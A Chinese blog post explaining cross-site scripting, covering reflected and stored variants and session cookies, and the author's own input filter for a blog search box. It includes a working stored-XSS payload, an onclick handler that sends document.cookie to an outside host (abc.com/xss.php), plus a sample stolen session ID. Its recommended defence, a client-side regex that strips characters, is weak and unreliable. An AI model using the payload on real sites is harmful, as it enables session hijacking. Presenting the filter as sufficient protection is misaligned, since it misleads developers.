XSS攻击是什么
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
XSS 攻击分为2种
非持久性的攻击
持久性攻击
非持久性攻击
顾名思义 只影响当前展示页面
大概类似下面这种情况 ========= 比如右侧你可以看到博客的搜索框, 搜索的关键词最后会在页面上方显示出来 如果对这种入户入口输入不做过滤的话,那么这就是一个非持久性攻击入口
持久性攻击
明显不是一次性那么简单 *
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。
session背景知识
我们知道HTTP是一个无状态维持的协议,
所有请求/应答都是独立的,其间不保存状态信息。
但有些场景下我们需要维护状态信息,例如用户登录完web应用后,
再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。
这时我们用cookie和session解决状态维护问题,
当用户首次登入时,服务器为该用户创建一个 session ID,
同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,
session ID作为会话标识,游览器后续的请求均基于该session ID。
攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。
首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:
<a href=# onclick=\"document.location=\'http://abc.com/xss.php?c=\'+escape\(document.cookie\)\;\">更多</a>
xss.php?c=SESSID%389sdfasdjsgear6dfsad7o2isdfasdfa
有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。
今天看阿里云云盾提示有人在 XSS 攻击我的博客
function replaceKey(keyword){ var pattern = new RegExp("[%--`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]");//格式 RegExp("[在中间定义特殊过滤字符]") var rs = ""; for (var i = 0; i < keyword.length; i++) { rs = rs+keyword.substr(i, 1).replace(pattern, ''); } return rs; }
你想过滤什么样的特殊字符就在 RegExp 数组中加上这个字符即可. 然后前面搜索传过来的关键词做一个过滤,然后再去匹配相关博文展示.
你打算打赏多少钱呢?
(微信扫一扫)